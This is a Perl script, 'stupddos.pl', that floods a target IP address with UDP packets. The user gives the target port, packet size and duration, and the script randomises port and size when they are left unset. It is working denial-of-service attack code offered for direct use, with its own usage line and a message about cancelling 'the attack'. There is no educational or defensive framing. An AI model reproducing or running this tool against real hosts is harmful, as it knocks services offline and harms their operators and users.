stupddos.pl

#!/usr/bin/perl

use Socket;
use strict;

print '
';
print "\n";


if ($#ARGV != 3) {
  print "./stupddos.pl <IP> <PORT> <SIZEPACKETS> <SECONDS>\n\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "To cancel the attack press 'Ctrl-C'\n" unless $time;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(50000)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}